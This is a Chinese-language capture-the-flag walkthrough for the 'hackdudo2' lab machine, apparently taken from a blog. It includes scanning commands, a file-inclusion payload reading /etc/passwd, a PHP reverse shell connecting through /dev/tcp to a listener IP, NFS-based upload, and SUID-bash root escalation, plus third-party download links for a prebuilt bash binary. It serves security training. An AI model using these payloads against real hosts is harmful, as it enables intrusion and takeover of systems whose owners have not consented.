hackdudo2解题过程

一、信息收集

1.主机ip确认

复制代码
arp-scan -l

2.端口扫描

复制代码
nmap -T4 -sV -p- -A 192.168.1.227

这里留意一下2049端口开启的nfs服务,后续有用。

3.目录扫描

复制代码
gobuster dir -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u

这里发现file.php文件

访问发现他说这里存在文件访问(file access)

4.参数爆破

复制代码
wfuzz --hw 14 -w /usr/share/wordlists/wfuzz/general/common.txt -u http://192.168.1.227/file.php?FUZZ=../../../etc/passwd

这里爆破出参数file

二、漏洞发现和利用

1.访问http://192.168.1.227/file.php?file=/etc/passwd,可以发现web端存在文件包含漏洞

2.挂载nfs服务

NFS,全称Network File System,即网络文件系统。最大的功能是通过网络,让不同的机器、不同的操作系统可以共享彼此的文件。可以理解为本地多了一个虚拟磁盘。nfs服务的缺点之一是客户端没有用户认证机制。

复制代码
showmount -e 192.168.1.227

发现靶机将/mnt/nfs目录挂出来了,并且给了所有权限 *

创建目录并挂载

复制代码
mkdir /mnt/nfs

mount -t nfs 192.168.1.227:/mnt/nfs /mnt/nfs

找到第一个flag

3.利用nfs进行文件上传,实现反弹shell

写一个php的脚本,并进行端口监听。然后利用web端的文件包含漏洞进行访问执行

php脚本

复制代码
<?php
// 定义目标 IP 和端口
$ip = '192.168.1.148';  // 替换为你的监听机器 IP
$port = 8888;           // 替换为你的监听端口

// 构造 Bash 反弹 Shell 命令
$command = "bash -c 'bash -i >& /dev/tcp/{$ip}/{$port} 0>&1'";

// 执行命令
shell_exec($command);
?>

三、提权

1.利用nfs提权漏洞进行提权,命令:cp /bin/bash . 、chmod u+s bash,chmod +x bash然后在靶机中通过./bash -p来实现提权至root,我这里是因为kali的bash太高,导致提权失败。

我的kali的bash版本比靶机高,所以靶机运行不了

2.如果你也有我的那种问题,可以去找一个低版本的虚拟机,然后把低版本的bash文件拷出来再进行上传。

提权后可以在root目录下找到root.txt文件,那就是最后的flag。

3.如果你的bash版本也高,又懒得去别的虚拟机找低版本的bash文件,那直接下载我的也行。

(我也因为这个文件卡了挺久!!!!看别人文章都不给现成文件受不鸟!)

链接: https://pan.baidu.com/s/1qcyAuwTUmNrmgUSq3Pol7Q?pwd=yucn 提取码: yucn

链接:https://pan.quark.cn/s/64053f4d0ce3

相关推荐
祁思妙想2 分钟前
八股学习(五)---MySQL
学习
薄荷椰果抹茶7 分钟前
【网络安全基础】第六章---Web安全需求
安全·web安全
虾球xz15 分钟前
CppCon 2018 学习:THE MOST VALUABLE VALUES
开发语言·c++·学习
丰锋ff1 小时前
计网学习笔记第2章 物理层(灰灰题库)
笔记·学习
zyx没烦恼1 小时前
TCP相关实验
服务器·网络·tcp/ip
Chef_Chen2 小时前
从0开始学习R语言--Day39--Spearman 秩相关
开发语言·学习·r语言
游戏开发爱好者87 小时前
iOS重构期调试实战:架构升级中的性能与数据保障策略
websocket·网络协议·tcp/ip·http·网络安全·https·udp
天水幼麟8 小时前
动手学深度学习-学习笔记(总)
笔记·深度学习·学习
安全系统学习10 小时前
系统安全之大模型案例分析
前端·安全·web安全·网络安全·xss
天水幼麟10 小时前
动手学深度学习-学习笔记【二】(基础知识)
笔记·深度学习·学习